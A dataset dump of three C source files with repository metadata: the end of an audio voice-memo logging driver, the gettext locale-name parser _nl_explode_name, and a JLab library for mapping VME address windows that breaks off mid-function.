addr = vmfrm_t.enc_hb_addr;
// vmLen += sc_len;
for (I = 0; I < sc_len; I++) {
*vmBuf++ = *addr++;
}
}
if (vm.control_2 & 1) {
addr = vmfrm_t.dec_hb_addr;
// vmLen += sc_len;
for (I = 0; I < sd_len; I++) {
*vmBuf++ = *addr++;
}
}
addr = vmfrm_t.dbgInfo_addr;
for (I = 0; I < VM_DBGINFO_LEN; I++) {
*vmBuf++ = *addr++;
}
//addr = vmfrm_t.enh_dbgInfo_addr;
for (I = 0; I < VM_ENH_DBGINFO_LEN; I++) {
*vmBuf++ = 0;
}
for (I = 0; I < VM_DRV_DBGINFO_LEN; I++) {
*vmBuf++ = 0;
}
}
static void epl_get_frame(epl_frame_t *eplfrm)
{
eplfrm->ul_pre_buf = DSP_DM_ADDR(7, *DSP_SPH_EPL_UL_PRE_BUF);
eplfrm->ul_pos_buf = DSP_DM_ADDR(7, *DSP_SPH_EPL_UL_POS_BUF);
eplfrm->dl_pre_buf = DSP_DM_ADDR(7, *DSP_SPH_EPL_DL_PRE_BUF);
eplfrm->dl_pos_buf = DSP_DM_ADDR(7, *DSP_SPH_EPL_DL_POS_BUF);
eplfrm->ul2_pos_buf = DSP_DM_ADDR(5, *DSP_DM_ADDR(6, DSP_SPH_SE2_PTR));
eplfrm->ul_pre_len = *DSP_SPH_EPL_BND & 0x0001 ? 320 : 160;
eplfrm->ul_pos_len = *DSP_SPH_EPL_BND & 0x0002 ? 320 : 160;
eplfrm->dl_pre_len = *DSP_SPH_EPL_BND & 0x0004 ? 320 : 160;
eplfrm->dl_pos_len = *DSP_SPH_EPL_BND & 0x0008 ? 320 : 160;
eplfrm->ul2_pos_len = *DSP_SPH_EPL_BND & 0x0010 ? 320 : 160;
return;
}
static void audio_vm_epl_record_hisr(void *param)
{
uint32_t I, tmp = 0;
uint16_t *buf;
uint16_t pcmsize = 0;
uint16_t *pcmBuf;
if (vm.state != VM_STATE_RECORD) {
return;
}
// get the size
epl_get_frame(&eplfrm_t);
pcmsize += eplfrm_t.ul_pre_len + eplfrm_t.dl_pre_len;
pcmsize += eplfrm_t.ul_pos_len + eplfrm_t.dl_pos_len;
// for second mic
// pcmsize += eplfrm_t.ul2_pos_len;
// vm Buf header process
buf = vm.vmBuf;
if (buf[0] == VM_MAGIC_HEADER) {
// Already buffer VM
tmp = (buf[1] >> 3) + pcmsize; // Debug size
I = tmp + AA88_GET_VM_LENGTH(vm.control_1, vm.control_2);
} else {
tmp = pcmsize; // Debug size(only PCM)
I = pcmsize + 3 + 2; // Plus sync word and format and 2 timestamp
}
I -= pcmsize; // vm header + en/de debugInfo
buf[2] &= 0xfe0f; // Clean the epl band flag
if (eplfrm_t.ul_pre_len == 320) {
buf[2] |= VM_PCM_BAND_FLAG_UL_PRE;
}
if (eplfrm_t.ul_pos_len == 320) {
buf[2] |= VM_PCM_BAND_FLAG_UL_POS;
}
if (eplfrm_t.dl_pre_len == 320) {
buf[2] |= VM_PCM_BAND_FLAG_DL_PRE;
}
if (eplfrm_t.dl_pos_len == 320) {
buf[2] |= VM_PCM_BAND_FLAG_DL_POS;
}
if (eplfrm_t.ul2_pos_len == 320) {
buf[2] |= VM_PCM_BAND_FLAG_UL2_POS;
}
// EPL PCM buffer handling
pcmBuf = vm.pcmBuf;
buf[0] = VM_MAGIC_HEADER;
buf[1] = (uint16_t)((VM_DBGINFO_LEN + VM_ENH_DBGINFO_LEN + VM_DRV_DBGINFO_LEN) << 3) | 0;
buf[2] |= (vm.debug_info & (VM_PCM_REFMIC_RECORD_FLAG + VM_PCM_1ST_SET_RECORD_FLAG + VM_PCM_2ND_SET_RECORD_FLAG));
vm_write_to_file(I, buf);
// Header for record 1st set of UL-DL PCM data
*pcmBuf++ = (vm.vm_lost_count << 8) + vm.pcm_lost_count;
*pcmBuf++ = vm_counter;
audio_idma_read_from_dsp(pcmBuf, eplfrm_t.ul_pre_buf, eplfrm_t.ul_pre_len); // Uplink
pcmBuf += (eplfrm_t.ul_pre_len);
audio_idma_read_from_dsp(pcmBuf, eplfrm_t.dl_pre_buf, eplfrm_t.dl_pre_len); // Downlink
pcmBuf += (eplfrm_t.dl_pre_len);
// Header for record 2nd set of UL-DL PCM data
*pcmBuf++ = (vm.vm_lost_count << 8) + vm.pcm_lost_count;
*pcmBuf++ = vm_counter;
audio_idma_read_from_dsp(pcmBuf, eplfrm_t.ul_pos_buf, eplfrm_t.ul_pos_len); // Uplink
pcmBuf += (eplfrm_t.ul_pos_len);
audio_idma_read_from_dsp(pcmBuf, eplfrm_t.dl_pos_buf, eplfrm_t.dl_pos_len); // Downlink
pcmBuf += (eplfrm_t.dl_pos_len);
// Header for second mic
*pcmBuf++ = (vm.vm_lost_count << 8) + vm.pcm_lost_count;
*pcmBuf++ = vm_counter ;
audio_idma_read_from_dsp(pcmBuf, eplfrm_t.ul2_pos_buf, eplfrm_t.ul2_pos_len); // Uplink2
pcmBuf += (eplfrm_t.ul2_pos_len);
*pcmBuf++ = *DSP_SPH_AGC_SW_GAIN1;
*pcmBuf++ = *DSP_SPH_AGC_SW_GAIN2;
// write all
vm_write_to_file((2 + eplfrm_t.ul_pre_len + eplfrm_t.dl_pre_len + 2 + eplfrm_t.ul_pos_len + eplfrm_t.dl_pos_len + 4 + eplfrm_t.ul2_pos_len), vm.pcmBuf);
// Reset
vm.vmBuf[0] = 0;
vm.vmBuf[1] = 0;
vm.vmBuf[2] = 0;
vm.pcm_lost_count = 0;
return;
}
void audio_vm_Start(void)
{
#if VM_WRITE_TO_FILE
FRESULT result;
#endif
log_hal_info("%s() enter", __func__);
if (VM_STATE_RECORD == vm.state) { //already on
return;
}
assert(true == afe_is_audio_enable());
#if VM_WRITE_TO_FILE
// open file handler
result = f_mount(&vm_fatfs, _T("0:"), 1);
if (!result) {
log_hal_info("fmount ok \n");
result = f_open(&(vm_file_handle), _T("SD:/VMLOG.vm"), FA_CREATE_ALWAYS | FA_WRITE | FA_READ);
if (!result) {
log_hal_info("fopen ok \n");
} else {
log_hal_info("fopen error \n");
return;
}
} else {
log_hal_info("fmount error \n");
return;
}
#endif
vm.state = VM_STATE_RECORD;
vm.vmBuf = vmCodecBuf;
memset(vm.vmBuf, 0, sizeof(uint16_t)*VM_BUFFER_SIZE);
vm.control = 0x0003;
vm.control_1 = 0x0001;
vm.control_2 = 0x0001;
vm.debug_info = 0x0F;
// config EPLs buffer
vm.pcm_save_size = FIVE_PCM_SAVE_SIZE;
memset(eplInputBuf, 0 , sizeof(uint16_t)*vm.pcm_save_size);
vm.pcmBuf = eplInputBuf;
vm.pcm_lost_count = 0;
// vm.vm_lost = 1; // to force save VM first
vm.vm_lost_count = 0;
// turn on and hook hisr
audio_service_hook_isr(DSP_VMEPL_REC_INT, audio_vm_epl_record_hisr, 0);
*DSP_SPH_PCM_REC_CTRL |= 0x0002;
audio_service_hook_isr(DSP_VM_REC_INT, audio_vm_record_hisr, 0);
*DSP_SPH_COD_CTRL |= 0x0800;
*DSP_SPH_SCH_IMPROVE_CTRL |= 0x08;
log_hal_info("%s() done", __func__);
}
void audio_vm_Stop(void)
{
#if VM_WRITE_TO_FILE
FRESULT result;
#endif
log_hal_info("%s() enter", __func__);
if (VM_STATE_RECORD == vm.state) {
vm.state = VM_STATE_RECORD_STOP;
} else {
log_hal_info("%s(): stop without start", __func__);
return;
}
assert(true == afe_is_audio_enable());
// turn off
*DSP_SPH_PCM_REC_CTRL &= ~0x0002;
audio_service_unhook_isr(DSP_VMEPL_REC_INT);
*DSP_SPH_COD_CTRL &= ~0x0800;
*DSP_SPH_SCH_IMPROVE_CTRL &= ~0x08;
audio_service_unhook_isr(DSP_VM_REC_INT);
// buffer clean
vm.pcmBuf = NULL;
vm.vmBuf = NULL;
vm.debug_info = 0;
#if VM_WRITE_TO_FILE
// close file
result = f_close(&vm_file_handle);
if (!result) {
log_hal_info("fclose success \n");
} else {
log_hal_info("fclose error \n");
}
#endif
vm.state = VM_STATE_IDLE;
}
#endif /*MTK_VM_LOG_ENABLE*/
#endif /* defined(HAL_I2S_MODULE_ENABLED) || defined(HAL_AUDIO_MODULE_ENABLED) */
| [
"leo_advance@163.com"
] | leo_advance@163.com |
d3e6deead8341f997f78d09c44834f66b399bd7c | 6c3eea86b6e19f7fbf693ea474660654c5a3107d | /cplussharp/ohos/lrzsz-0.12.20/intl/explodename.c | 37c46e9d7b85073bf95c06eee1fbf9c1b212d7b2 | [
"GPL-1.0-or-later",
"LicenseRef-scancode-public-domain",
"GPL-2.0-only",
"Apache-2.0"
] | permissive | yippeesoft/NotifyTools | 149d2b240880c17e1347e695c48a34688c58cb5c | 57b52ced667797267690264751084cc575b426e6 | refs/heads/master | 2023-08-18T17:12:23.709666 | 2023-08-11T06:58:52 | 2023-08-11T06:58:52 | 78,162,261 | 38 | 14 | Apache-2.0 | 2021-01-21T05:13:53 | 2017-01-06T01:23:15 | C | UTF-8 | C | false | false | 4,480 | c | /* Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
Contributed by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software Foundation,
Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include "loadinfo.h"
/* On some strange systems still no definition of NULL is found. Sigh! */
#ifndef NULL
# if defined __STDC__ && __STDC__
# define NULL ((void *) 0)
# else
# define NULL 0
# endif
#endif
/* @@ end of prolog @@ */
int
_nl_explode_name (name, language, modifier, territory, codeset,
normalized_codeset, special, sponsor, revision)
char *name;
const char **language;
const char **modifier;
const char **territory;
const char **codeset;
const char **normalized_codeset;
const char **special;
const char **sponsor;
const char **revision;
{
enum { undecided, xpg, cen } syntax;
char *cp;
int mask;
*modifier = NULL;
*territory = NULL;
*codeset = NULL;
*normalized_codeset = NULL;
*special = NULL;
*sponsor = NULL;
*revision = NULL;
/* Now we determine the single parts of the locale name. First
look for the language. Termination symbols are `_' and `@' if
we use XPG4 style, and `_', `+', and `,' if we use CEN syntax. */
mask = 0;
syntax = undecided;
*language = cp = name;
while (cp[0] != '\0' && cp[0] != '_' && cp[0] != '@'
&& cp[0] != '+' && cp[0] != ',')
++cp;
if (*language == cp)
/* This does not make sense: language has to be specified. Use
this entry as it is without exploding. Perhaps it is an alias. */
cp = strchr (*language, '\0');
else if (cp[0] == '_')
{
/* Next is the territory. */
cp[0] = '\0';
*territory = ++cp;
while (cp[0] != '\0' && cp[0] != '.' && cp[0] != '@'
&& cp[0] != '+' && cp[0] != ',' && cp[0] != '_')
++cp;
mask |= TERRITORY;
if (cp[0] == '.')
{
/* Next is the codeset. */
syntax = xpg;
cp[0] = '\0';
*codeset = ++cp;
while (cp[0] != '\0' && cp[0] != '@')
++cp;
mask |= XPG_CODESET;
if (*codeset != cp && (*codeset)[0] != '\0')
{
*normalized_codeset = _nl_normalize_codeset (*codeset,
cp - *codeset);
if (strcmp (*codeset, *normalized_codeset) == 0)
free ((char *) *normalized_codeset);
else
mask |= XPG_NORM_CODESET;
}
}
}
if (cp[0] == '@' || (syntax != xpg && cp[0] == '+'))
{
/* Next is the modifier. */
syntax = cp[0] == '@' ? xpg : cen;
cp[0] = '\0';
*modifier = ++cp;
while (syntax == cen && cp[0] != '\0' && cp[0] != '+'
&& cp[0] != ',' && cp[0] != '_')
++cp;
mask |= XPG_MODIFIER | CEN_AUDIENCE;
}
if (syntax != xpg && (cp[0] == '+' || cp[0] == ',' || cp[0] == '_'))
{
syntax = cen;
if (cp[0] == '+')
{
/* Next is special application (CEN syntax). */
cp[0] = '\0';
*special = ++cp;
while (cp[0] != '\0' && cp[0] != ',' && cp[0] != '_')
++cp;
mask |= CEN_SPECIAL;
}
if (cp[0] == ',')
{
/* Next is sponsor (CEN syntax). */
cp[0] = '\0';
*sponsor = ++cp;
while (cp[0] != '\0' && cp[0] != '_')
++cp;
mask |= CEN_SPONSOR;
}
if (cp[0] == '_')
{
/* Next is revision (CEN syntax). */
cp[0] = '\0';
*revision = ++cp;
mask |= CEN_REVISION;
}
}
/* For CEN syntax values it might be important to have the
separator character in the file name, not for XPG syntax. */
if (syntax == xpg)
{
if (*territory != NULL && (*territory)[0] == '\0')
mask &= ~TERRITORY;
if (*codeset != NULL && (*codeset)[0] == '\0')
mask &= ~XPG_CODESET;
if (*modifier != NULL && (*modifier)[0] == '\0')
mask &= ~XPG_MODIFIER;
}
return mask;
}
| [
"yippeesoft@gmail.com"
] | yippeesoft@gmail.com |
0e648abc14934f6a29652915a160e1ec4b17a8da | da7c499625123f5d1a28e3d75b037523df11ccb5 | /devel/coda/src/rol/jvme/jlabgef.c | a16db90abb8fff4dc21d769aea428a0a38645fdd | [] | no_license | emuikernel/BDXDaq | 84d947b0a4c0c1799a855dbe6c59e9560a8fc4e2 | cf678d3b71bdfb95996e8b7e97ad3657ef98262f | refs/heads/master | 2021-01-18T07:26:38.855967 | 2015-06-08T15:45:58 | 2015-06-08T15:45:58 | 48,211,085 | 3 | 2 | null | 2015-12-18T02:56:53 | 2015-12-18T02:56:52 | null | UTF-8 | C | false | false | 37,591 | c | /*----------------------------------------------------------------------------*
* Copyright (c) 2009,2010 Southeastern Universities Research Association, *
* Thomas Jefferson National Accelerator Facility *
* *
* This software was developed under a United States Government license *
* described in the NOTICE file included as part of this distribution. *
* *
* Author: Bryan Moffit *
* moffit@jlab.org Jefferson Lab, MS-12B3 *
* Phone: (757) 269-5660 12000 Jefferson Ave. *
* Fax: (757) 269-5800 Newport News, VA 23606 *
* *
*----------------------------------------------------------------------------*
*
* Description:
* JLab extra routines to compliment the GEFanuc API
*
* SVN: $Rev: 393 $
*
*----------------------------------------------------------------------------*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/mman.h>
#include "jvme.h"
#include "jlabgef.h"
#include "gef/gefcmn_vme_tempe.h"
#include "gef/gefcmn_osa.h"
#include "gef/gefcmn_vme_framework.h"
#define A32_MAX_WINDOW_SIZE 0xf000000
/* Global pointers to the Userspace windows, available to other
libraries (define as extern) */
void *a16_window=NULL;
void *a24_window=NULL;
void *a32_window=NULL;
void *a32blt_window=NULL;
void *a32slave_window=NULL;
/* VME address handles for GEF library */
static GEF_VME_MASTER_HDL a16_hdl, a24_hdl, a32_hdl, a32blt_hdl;
static GEF_VME_SLAVE_HDL a32slave_hdl;
static GEF_MAP_HDL a16map_hdl, a24map_hdl, a32map_hdl, a32bltmap_hdl, a32slavemap_hdl;
unsigned int a32_window_width = 0x00010000;
unsigned int a32blt_window_width = 0x0a000000;
unsigned int a24_window_width = 0x01000000;
unsigned int a16_window_width = 0x00010000;
/* Some additional global pointers */
struct _GEF_VME_MAP_MASTER *mapHdl;
extern unsigned int vmeQuietFlag;
pthread_mutex_t tsi_mutex = PTHREAD_MUTEX_INITIALIZER;
/* Some default settings */
GEF_VME_ADDR addr_A16 =
{
.upper = 0x00000000,
.lower = 0x00000000,
.addr_space = GEF_VME_ADDR_SPACE_A16,
.addr_mode = GEF_VME_ADDR_MODE_USER | GEF_VME_ADDR_MODE_DATA,
.transfer_mode = GEF_VME_TRANSFER_MODE_MBLT,
.transfer_max_dwidth = GEF_VME_TRANSFER_MAX_DWIDTH_32,
.vme_2esst_rate = GEF_VME_2ESST_RATE_160,
.broadcast_id = 0,
.flags = 0
/* .flags = GEF_VME_WND_EXCLUSIVE */
};
GEF_VME_ADDR addr_A24 =
{
.upper = 0x00000000,
.lower = 0x00000000,
.addr_space = GEF_VME_ADDR_SPACE_A24,
.addr_mode = GEF_VME_ADDR_MODE_USER | GEF_VME_ADDR_MODE_DATA,
.transfer_mode = GEF_VME_TRANSFER_MODE_MBLT,
.transfer_max_dwidth = GEF_VME_TRANSFER_MAX_DWIDTH_32,
.vme_2esst_rate = GEF_VME_2ESST_RATE_160,
.broadcast_id = 0,
.flags = 0
/* .flags = GEF_VME_WND_EXCLUSIVE */
};
GEF_VME_ADDR addr_A32 =
{
.upper = 0x00000000,
.lower = 0x08000000,
.addr_space = GEF_VME_ADDR_SPACE_A32,
.addr_mode = GEF_VME_ADDR_MODE_USER | GEF_VME_ADDR_MODE_DATA,
.transfer_mode = GEF_VME_TRANSFER_MODE_SCT,
.transfer_max_dwidth = GEF_VME_TRANSFER_MAX_DWIDTH_32,
.vme_2esst_rate = GEF_VME_2ESST_RATE_160,
.broadcast_id = 0,
.flags = 0
/* .flags = GEF_VME_WND_EXCLUSIVE */
};
GEF_VME_ADDR addr_A32blt =
{
.upper = 0x00000000,
.lower = 0x08000000,
.addr_space = GEF_VME_ADDR_SPACE_A32,
.addr_mode = GEF_VME_ADDR_MODE_USER | GEF_VME_ADDR_MODE_DATA,
.transfer_mode = GEF_VME_TRANSFER_MODE_MBLT,
.transfer_max_dwidth = GEF_VME_TRANSFER_MAX_DWIDTH_32,
.vme_2esst_rate = GEF_VME_2ESST_RATE_160,
.broadcast_id = 0,
.flags = 0
/* .flags = GEF_VME_WND_EXCLUSIVE */
};
GEF_VME_ADDR addr_A32slave =
{
.upper = 0x00000000,
.lower = 0x08000000,
.addr_space = GEF_VME_ADDR_SPACE_A32,
.addr_mode = GEF_VME_ADDR_MODE_USER | GEF_VME_ADDR_MODE_DATA,
.transfer_mode = GEF_VME_TRANSFER_MODE_2eSST,
.transfer_max_dwidth = GEF_VME_TRANSFER_MAX_DWIDTH_32,
.vme_2esst_rate = GEF_VME_2ESST_RATE_320,
.broadcast_id = 0,
.flags = 0
/* .flags = GEF_VME_WND_EXCLUSIVE */
};
/* didOpen=0(1) when the default windows have not (have been) opened */
int didOpen=0;
/* Prototypes of routines not included in the gefaunc headers */
GEF_STATUS GEF_STD_CALL
gefVmeReadReg (GEF_VME_BUS_HDL bus_hdl,
GEF_UINT32 offset,
GEF_VME_DWIDTH width,
void *buffer);
GEF_STATUS GEF_STD_CALL
gefVmeWriteReg (GEF_VME_BUS_HDL bus_hdl,
GEF_UINT32 offset,
GEF_VME_DWIDTH width,
void *buffer);
/******************************************************************************
*
* jlabgefOpenA16
* jlabgefOpenA24
* jlabgefOpenA32
* jlabgefOpenA32Blt - Open the specified VME addressing window
*
* These routines create a VME master window to the specified
* address space. This space is then mapped to the pointer
* provide as an argument.
*
* For the A32/A32Blt, the VME Base and Size must also be provided.
*
* RETURNS: N/A
*
*/
GEF_STATUS
jlabgefOpenA16(void *a16p)
{
GEF_STATUS status;
LOCK_TSI;
status = gefVmeCreateMasterWindow(vmeHdl, &addr_A16,
a16_window_width, &a16_hdl);
if (status != GEF_STATUS_SUCCESS) {
printf("ERROR: gefVmeCreateMasterWindow A16 failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
/* Now map the VME A16 Window into a local address */
status = gefVmeMapMasterWindow(a16_hdl, 0, a16_window_width, &a16map_hdl, a16p);
if(status != GEF_STATUS_SUCCESS) {
printf("\ngefVmeMapMasterWindow (A16) failed: code 0x%08x\n",status);
gefVmeReleaseMasterWindow(a16_hdl);
a16p = NULL;
UNLOCK_TSI;
return -1;
}
UNLOCK_TSI;
return 0;
}
GEF_STATUS
jlabgefOpenA24(void *a24p)
{
GEF_STATUS status;
LOCK_TSI;
status = gefVmeCreateMasterWindow(vmeHdl, &addr_A24, a24_window_width, &a24_hdl);
if (status != GEF_STATUS_SUCCESS) {
printf("ERROR: gefVmeCreateMasterWindow A24 failed: code 0x%08x\n",status);
UNLOCK_TSI;
return -1;
}
/* Now map the VME A24 Window into a local address */
status = gefVmeMapMasterWindow(a24_hdl, 0, a24_window_width, &a24map_hdl, a24p);
if(status != GEF_STATUS_SUCCESS) {
printf("\ngefVmeMapMasterWindow (A24) failed: code 0x%08x\n",status);
gefVmeReleaseMasterWindow(a24_hdl);
a24p = NULL;
UNLOCK_TSI;
return -1;
}
UNLOCK_TSI;
return 0;
}
GEF_STATUS
jlabgefOpenA32(unsigned int base, unsigned int size, void *a32p)
{
GEF_STATUS status;
if((size == 0)||(size>A32_MAX_WINDOW_SIZE)) {
printf("ERROR: jlabgefOpenA32 : Invalid Window size specified = 0x%x\n",size);
return -1;
}
addr_A32.lower = base;
LOCK_TSI;
status = gefVmeCreateMasterWindow(vmeHdl, &addr_A32, size, &a32_hdl);
if (status != GEF_STATUS_SUCCESS) {
printf("ERROR: gefVmeCreateMasterWindow A32 failed: code 0x%08x\n",status);
UNLOCK_TSI;
return -1;
}
/* Now map the VME A32 Window into a local address */
status = gefVmeMapMasterWindow(a32_hdl, 0, size, &a32map_hdl, a32p);
if(status != GEF_STATUS_SUCCESS) {
printf("\ngefVmeMapMasterWindow (A32) failed: code 0x%08x\n",status);
gefVmeReleaseMasterWindow(a32_hdl);
a32p = NULL;
UNLOCK_TSI;
return -1;
}
UNLOCK_TSI;
return 0;
}
GEF_STATUS
jlabgefOpenA32Blt(unsigned int base, unsigned int size, void *a32p)
{
GEF_STATUS status;
if((size == 0)||(size>A32_MAX_WINDOW_SIZE)) {
printf("ERROR: jlabgefOpenA32 : Invalid Window size specified = 0x%x\n",size);
return -1;
}
addr_A32blt.lower = base;
LOCK_TSI;
status = gefVmeCreateMasterWindow(vmeHdl, &addr_A32blt, size, &a32blt_hdl);
if (status != GEF_STATUS_SUCCESS) {
printf("ERROR: gefVmeCreateMasterWindow A32-BLT failed: code 0x%08x\n",status);
UNLOCK_TSI;
return -1;
}
/* Now map the VME A32 Window into a local address */
status = gefVmeMapMasterWindow(a32blt_hdl, 0, size, &a32bltmap_hdl, a32p);
if(status != GEF_STATUS_SUCCESS) {
printf("\ngefVmeMapMasterWindow (A32-BLT) failed: code 0x%08x\n",status);
gefVmeReleaseMasterWindow(a32blt_hdl);
a32p = NULL;
UNLOCK_TSI;
return -1;
}
UNLOCK_TSI;
return 0;
}
GEF_STATUS
jlabgefOpenSlaveA32(unsigned int base, unsigned int size)
{
GEF_STATUS status;
UINT32 itat;
addr_A32slave.lower = base;
LOCK_TSI;
status = gefVmeCreateSlaveWindow(vmeHdl, &addr_A32slave, size, &a32slave_hdl);
if (status != GEF_STATUS_SUCCESS) {
printf("ERROR: gefVmeCreateSlaveWindow A32-Slave failed: code 0x%08x\n",status);
UNLOCK_TSI;
return -1;
}
/* Now map the VME A32 Slave Window into a local address */
status = gefVmeMapSlaveWindow(a32slave_hdl, 0, size, &a32slavemap_hdl,
(GEF_MAP_PTR*)&a32slave_window);
if(status != GEF_STATUS_SUCCESS) {
printf("\ngefVmeMapSlaveWindow (A32-Slave) failed: code 0x%08x\n",status);
gefVmeRemoveSlaveWindow(a32slave_hdl);
a32slave_window = NULL;
UNLOCK_TSI;
return -1;
}
/* Set bits in ITAT0, to turn all all types of block transfers.
Assume that window 0 was the one setup, for the moment */
itat = jlabgefReadRegister(TEMPE_ITAT(0));
if(itat & TSI148_LCSR_ITAT_EN)
{
itat |= (TSI148_LCSR_ITAT_2eSSTB | TSI148_LCSR_ITAT_2eSST | TSI148_LCSR_ITAT_2eVME |
TSI148_LCSR_ITAT_MBLT | TSI148_LCSR_ITAT_BLT);
itat |= (TSI148_LCSR_ITAT_SUPR | TSI148_LCSR_ITAT_NPRIV |
TSI148_LCSR_ITAT_PGM | TSI148_LCSR_ITAT_DATA);
pTempe->lcsr.inboundTranslation[0].itat = LSWAP(itat);
}
else
{
printf("%s: ERROR: Inbound window attributes not modified. Unexpected window number.\n",
__FUNCTION__);
}
UNLOCK_TSI;
}
/******************************************************************************
*
* jlabgefCloseA16
* jlabgefCloseA24
* jlabgefCloseA32
* jlabgefCloseA32Blt - Close the specified VME addressing window
*
* These routines will close the vme address window that was
* opened with their jlabgefOpen counterpart.
*
* RETURNS: GEF_STATUS_SUCCESS if successful,
* otherwise, error status from GEF_STATUS_ENUM
*
*/
GEF_STATUS
jlabgefCloseA16()
{
GEF_STATUS status;
LOCK_TSI;
/* Unmap A16 address space */
status = gefVmeUnmapMasterWindow(a16map_hdl);
if(status != GEF_STATUS_SUCCESS)
{
printf("\ngefVmeUnmapMasterWindow (A16) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
/* Release the A16 Master window */
status = gefVmeReleaseMasterWindow(a16_hdl);
if (status != GEF_STATUS_SUCCESS)
{
printf("ERROR: gefVmeReleaseMasterWindow (A16) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
a16_window=NULL;
UNLOCK_TSI;
return 0;
}
GEF_STATUS
jlabgefCloseA24()
{
GEF_STATUS status;
LOCK_TSI;
/* Unmap A24 address space */
status = gefVmeUnmapMasterWindow(a24map_hdl);
if(status != GEF_STATUS_SUCCESS)
{
printf("\ngefVmeUnmapMasterWindow (A24) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
/* Release the A24 Master window */
status = gefVmeReleaseMasterWindow(a24_hdl);
if (status != GEF_STATUS_SUCCESS)
{
printf("ERROR: gefVmeReleaseMasterWindow (A24) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
a24_window=NULL;
UNLOCK_TSI;
return 0;
}
GEF_STATUS
jlabgefCloseA32()
{
GEF_STATUS status;
LOCK_TSI;
/* Unmap A32 address space */
status = gefVmeUnmapMasterWindow(a32map_hdl);
if(status != GEF_STATUS_SUCCESS)
{
printf("\ngefVmeUnmapMasterWindow (A32) failed: code 0x%08x\n",status);
UNLOCK_TSI;
return -1;
}
/* Release the A32 Master window */
status = gefVmeReleaseMasterWindow(a32_hdl);
if (status != GEF_STATUS_SUCCESS)
{
printf("ERROR: gefVmeReleaseMasterWindow (A32) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
a32_window=NULL;
UNLOCK_TSI;
return 0;
}
GEF_STATUS
jlabgefCloseA32Blt()
{
GEF_STATUS status;
LOCK_TSI;
/* Unmap A32 address space */
status = gefVmeUnmapMasterWindow(a32bltmap_hdl);
if(status != GEF_STATUS_SUCCESS)
{
printf("\ngefVmeUnmapMasterWindow (A32-BLT) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
/* Release the A32 Master window */
status = gefVmeReleaseMasterWindow(a32blt_hdl);
if (status != GEF_STATUS_SUCCESS)
{
printf("ERROR: gefVmeReleaseMasterWindow (A32-BLT) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
a32blt_window=NULL;
UNLOCK_TSI;
return 0;
}
GEF_STATUS
jlabgefCloseA32Slave()
{
GEF_STATUS status;
LOCK_TSI;
/* Unmap A32 address space */
status = gefVmeUnmapSlaveWindow(a32slavemap_hdl);
if(status != GEF_STATUS_SUCCESS)
{
printf("\ngefVmeUnmapMasterWindow (A32-Slave) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
/* Release the A32 Master window */
status = gefVmeRemoveSlaveWindow(a32slave_hdl);
if (status != GEF_STATUS_SUCCESS)
{
printf("ERROR: gefVmeRemoveSlaveWindow (A32-Slave) failed: code 0x%08x\n",
status);
UNLOCK_TSI;
return -1;
}
a32slave_window=NULL;
UNLOCK_TSI;
return 0;
}
/******************************************************************************
*
* jlabgefOpenDefaultWindows - Open all default VME addressing windows
*
* This routines will open all VME addressing windows that are standard
* to JLab used VME controllers.
*
* A memory map of the TSI148 (VME bridge chip) is also made available.
*
* RETURNS: GEF_STATUS_SUCCESS if successful,
* otherwise, error status from GEF_STATUS_ENUM
*
*/
GEF_STATUS
jlabgefOpenDefaultWindows()
{
GEF_STATUS status;
if(didOpen)
return 1;
LOCK_TSI;
status = gefVmeOpen(&vmeHdl);
if (status != GEF_STATUS_SUCCESS)
{
printf("gefVmeOpen failed: %x\n",status);
UNLOCK_TSI;
return -1;
}
/* Turn off the Debug Flags, by default */
gefVmeSetDebugFlags(vmeHdl,0x0);
UNLOCK_TSI;
/* Open A32 windows */
if(a32_window==NULL)
{
if(!vmeQuietFlag)
printf("Opening A32 Window ");
status = jlabgefOpenA32(0xfb000000,a32_window_width,&a32_window);
}
if(status==GEF_STATUS_SUCCESS)
{
if(!vmeQuietFlag)
printf("(opened at [0x%x,0x%x])\n",
(unsigned int)a32_window,(unsigned int)(a32_window+a32_window_width));
}
else
{
if(!vmeQuietFlag)
printf("... Open Failed!\n");
}
if(a32blt_window==NULL)
{
if(!vmeQuietFlag)
printf("Opening A32Blt Window ");
status = jlabgefOpenA32Blt(0x08000000,a32blt_window_width,&a32blt_window);
}
if(status==GEF_STATUS_SUCCESS)
{
if(!vmeQuietFlag)
printf("(opened at [0x%x,0x%x])\n",
(unsigned int)a32blt_window,
(unsigned int)(a32blt_window+a32blt_window_width));
}
else
{
if(!vmeQuietFlag)
printf("... Open Failed!\n");
}
/* Open A24 window */
if(a24_window==NULL)
{
if(!vmeQuietFlag)
printf("Opening A24 Window ");
status = jlabgefOpenA24(&a24_window);
}
if(status==GEF_STATUS_SUCCESS)
{
if(!vmeQuietFlag)
printf("(opened at [0x%x,0x%x])\n",
(unsigned int)a24_window,
(unsigned int)(a24_window+a24_window_width));
}
else
{
if(!vmeQuietFlag)
printf("... Open Failed!\n");
}
/* Open A16 window */
if(a16_window==NULL)
{
if(!vmeQuietFlag)
printf("Opening A16 Window ");
status = jlabgefOpenA16(&a16_window);
}
if(status==GEF_STATUS_SUCCESS)
{
if(!vmeQuietFlag)
printf("(opened at [0x%x,0x%x])\n",
(unsigned int)a16_window,
(unsigned int)(a16_window+a16_window_width));
}
else
{
